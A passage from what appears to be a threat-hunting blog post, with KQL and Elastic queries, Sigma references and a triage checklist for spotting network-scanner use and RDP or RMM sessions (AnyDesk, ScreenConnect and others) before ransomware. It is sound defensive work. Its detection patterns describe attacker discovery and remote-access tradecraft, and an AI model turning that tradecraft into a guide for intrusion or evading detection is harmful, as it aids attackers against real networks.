| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath has_any (@"\Advanced IP Scanner 2", @"\Advanced Port Scanner 2")
| summarize FilesDropped = make_set(FileName, 20), FileCount = dcount(FileName), FirstDrop = min(Timestamp)
    by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName,
       InitiatingProcessCommandLine, InitiatingProcessParentFileName
| order by FirstDrop asc

ESQL (Elastic)

Same logic, Elastic field names.

Process events

Catches: same surface as the KQL process query.

Tune: time window.

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 30 days
  AND event.code == "1"
| EVAL cmd_l = TO_LOWER(process.command_line)
| WHERE process.pe.company     RLIKE ".*(Famatech|SoftPerfect).*"
     OR process.pe.product     RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Network Scanner).*"
     OR process.pe.description RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Application for scanning networks).*"
     OR (cmd_l LIKE "*/portable*" AND cmd_l LIKE "*/lng*")
     OR (cmd_l LIKE "*/hide*"     AND cmd_l LIKE "*/auto*")
| KEEP @timestamp, host.name, user.name, process.name, process.command_line,
       process.pe.company, process.pe.product, process.pe.description,
       process.hash.sha256, process.parent.name, process.parent.command_line
| SORT @timestamp ASC
| LIMIT 1000

Network events

Catches: sweep behavior across all three tools via Sysmon event 3.

Tune: thresholds (default 3 IPs / 2 ports per 5-min bucket for Sysmon).

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp >= "2026-04-02T03:00:00Z" AND @timestamp <= "2026-05-06T10:00:00Z"
    AND event.code == "3"
    AND process.name IS NOT NULL
    AND destination.ip IS NOT NULL
    AND CIDR_MATCH(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| STATS DistinctIPs   = COUNT_DISTINCT(destination.ip),
        DistinctPorts = COUNT_DISTINCT(destination.port),
        TotalConns    = COUNT(*),
        SampleIPs     = TOP(destination.ip, 10, "asc"),
        SamplePorts   = TOP(destination.port, 10, "asc"),
        FirstSeen     = MIN(@timestamp),
        LastSeen      = MAX(@timestamp)
    BY host.name,
       process.executable,
       time_bucket = BUCKET(@timestamp, 5 minutes)
| WHERE DistinctIPs >= 3 AND DistinctPorts >= 2
| SORT DistinctIPs DESC

File events

Catches: AIPS and APS install footprints via Sysmon event 11.

Tune: path patterns.

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp >= "2026-04-02T03:00:00Z" AND @timestamp <= "2026-05-06T10:00:00Z"
    AND event.code == "11" AND file.path IS NOT NULL
| EVAL path_lc = TO_LOWER(file.path)
| WHERE path_lc LIKE "*advanced ip scanner 2*" OR path_lc LIKE "*advanced port scanner 2*"
| EVAL Tool = CASE(
    path_lc LIKE "*advanced ip scanner 2*","Advanced IP Scanner", "Advanced Port Scanner")
| STATS FilesDropped = TOP(file.name, 20, "asc"),
        FileCount    = COUNT_DISTINCT(file.name),
        FirstDrop    = MIN(@timestamp),
        LastDrop     = MAX(@timestamp)
    BY host.name, Tool, user.name, process.executable
| SORT FirstDrop ASC
| LIMIT 500

All of the above queries are also uploaded to GitHub.

Cross-reference: Sigma rules

Useful for cross-checking output, or porting to Splunk or CrowdStrike:

• PUA: SoftPerfect Netscan Execution

• PUA: Advanced IP Scanner Execution

• Advanced IP Scanner: File Event

• PUA: Advanced Port Scanner Execution

The queries are the first payload. The second is what the queries actually prove when they fire.

4. The signal hiding inside the detection

NetScan can run headless. Advanced IP Scanner and Advanced Port Scanner cannot. They are GUI-only.

A hit on AIPS or APS is not just a discovery alert. It is an RDP, RMM, or VDI session alert by implication. GUI tools need a desktop session. No desktop session, no GUI scan. If a GUI scanner ran on a host with no admin session active at that time, an attacker had interactive access.

Rule out admin use first. Then pivot the hunt to the same host, ±2 hours from the scanner hit:

let HitHost = "SERVER01";
let HitTime = datetime(2026-05-10T14:00:00);
DeviceProcessEvents
| where DeviceName =~ HitHost
| where Timestamp between (HitTime - 2h .. HitTime + 2h)
| where FileName in~ ("mstsc.exe", "AnyDesk.exe", "ScreenConnect.ClientService.exe", "AteraAgent.exe", "Splashtop.exe")
| project Timestamp, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName

5. Run it today

Four steps.

1. Run the process query over the last 30 days.

2. Filter out IT admin accounts and known scanning hosts (vuln scanner, asset management agent). Allowlist by hostname or account, not by tool name. Legitimate IT teams use these tools too.

3. For each remaining hit, check parent process and account context. If parent is cmd.exe, powershell.exe, bitsadmin.exe, or anything launched from C:\Users\Public\ or Temp dir, escalate immediately.

4. For AIPS or APS hits, run the Section 4 pivot. If RDP or RMM activity surfaces in the ±2h window tied to the scanner hit, scope the incident and start IR containment.

You just got a rear-view of pre-ransomware activity in your environment. Not theoretical. Tested in a lab against Sliver C2 and ready to paste into your SIEM today.

This catches three tools, not all pre-ransomware activity. RMM is the next layer, and it sits right next to discovery in every kill chain. Same format coming.

If you run the queries and find something (or find nothing), tell me on X. Reposts and likes help the next defender find this too.

Ransomware groups don’t innovate at the discovery phase. That’s the gift. Your environment doesn’t have to be number 4,114.

References

Ransomware Statistics — 2026

GitHub - BushidoUK/Ransomware-Tool-Matrix